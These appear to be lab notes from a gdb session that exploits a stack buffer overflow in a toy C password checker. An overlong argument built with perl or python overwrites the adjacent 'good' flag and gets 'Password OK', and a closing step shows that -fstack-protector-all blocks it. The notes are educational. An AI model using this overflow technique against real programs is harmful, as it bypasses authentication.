Use python: 
run $(python -c "print 'AAAAAAAAAA'+3*'\x01'")
./a.out  AAAAAAAAAA$(perl -e 'print "\x01\x01\x01"')
Password OK
./a.out  AAAAAAAAAABB$(perl -e 'print "\x01"')
Password OK

A)
gcc -D_LIBC_REENTRANT -g code1.c
gcc -g code1.c
gdb ./a.out

(gdb) list
5       {
6         int good=0;
7         char password[10];
8
9         strcpy(password, pass);
10        if (!strcmp(password,"passw0rd"))
11          good=1;
12        if ( good == 1 )
13          printf("Password OK\n");
14        else
(gdb) break 10
Breakpoint 1 at 0x400613: file code1.c, line 10.

(gdb) run AAAAA
Starting program: /home/grammatikakis/trescca/DENIAL_OF_SERVICE_CODE/SW_VULN/a.out AAAAA
Got object file from memory but can't read symbols: File truncated.

Breakpoint 1, check_password (pass=0x7fffffffe159 "AAAAA") at code1.c:10
10        if (!strcmp(password,"passw0rd"))
(gdb) x/x &good
0x7fffffffdb6c: 0x00000000
(gdb) x/x &password
0x7fffffffdb60: 0x41414141
(gdb) x/x password
0x7fffffffdb60: 0x41414141
(gdb) x/12xw $sp
0x7fffffffdb50: 0x00000001      0x00000000      0xffffe158      0x00007fff
0x7fffffffdb60: 0x41414141      0x00004141      0x00000000      0x00000000
-=-=-=-=-=-=-=-=-=********            **** NOTICE, this is char A in ascii (41 hex)
0x7fffffffdb70: 0xffffdb90      0x00007fff      0x0040067c      0x00000000
(gdb) n
12        if ( good == 1 )
(gdb) x/x &good
0x7fffffffdb6c: 0x00000000
(gdb) n
15          printf("Password KO\n");
(gdb) 
Password KO
16      }
(gdb) 


B) ALMOST THERE

(gdb) run AAAAAAAAAA$(perl -e 'print "\x01"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/grammatikakis/trescca/DENIAL_OF_SERVICE_CODE/SW_VULN/a.out AAAAAAAAAA$(perl -e 'print "\x01"')
Got object file from memory but can't read symbols: File truncated.

Breakpoint 1, check_password (pass=0x7fffffffe153 "AAAAAAAAAA\001") at code1.c:10
10        if (!strcmp(password,"passw0rd"))
(gdb) x/x &good    
0x7fffffffdb6c: 0x00000000
(gdb) x/x &password
0x7fffffffdb60: 0x41414141
(gdb) x/12xw $sp
0x7fffffffdb50: 0x00000001      0x00000000      0xffffe153      0x00007fff
0x7fffffffdb60: 0x41414141      0x41414141      0x00014141      0x00000000
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=** NOTICE
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=** NOTICE   ^^ <- good var (since good is 0x7fffffffdb6c)
0x7fffffffdb70: 0xffffdb90      0x00007fff      0x0040067c      0x00000000
(gdb) n
12        if ( good == 1 )
(gdb) 


C) DONE!
(gdb) run AAAAAAAAAA$(perl -e 'print "\x01\x01\x01"')          
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/grammatikakis/trescca/DENIAL_OF_SERVICE_CODE/SW_VULN/a.out AAAAAAAAAA$(perl -e 'print "\x01\x01\x01"')
Got object file from memory but can't read symbols: File truncated.

Breakpoint 1, check_password (pass=0x7fffffffe151 "AAAAAAAAAA\001\001\001") at code1.c:10
10        if (!strcmp(password,"passw0rd"))
(gdb) x/x &good
0x7fffffffdb6c: 0x00000001
(gdb) x/x &password
0x7fffffffdb60: 0x41414141
(gdb) x/12xw $sp
0x7fffffffdb50: 0x00000001      0x00000000      0xffffe151      0x00007fff
0x7fffffffdb60: 0x41414141      0x41414141      0x01014141      0x00000001
0x7fffffffdb70: 0xffffdb90      0x00007fff      0x0040067c      0x00000000
(gdb) n
12        if ( good == 1 )
(gdb) n
13          printf("Password OK\n");
(gdb) n
Password OK

C) Thus 
gcc -g code1.c
./a.out AAAAAAAAAA$(perl -e 'print "\x01\x01\x01"')
Password OK

C)
gcc -g -fstack-protector-all code1.c
./a.out AAAAAAAAAA$(perl -e 'print "\x01\x01\x01"')
Password KO


.....
other gdb commands

info registers
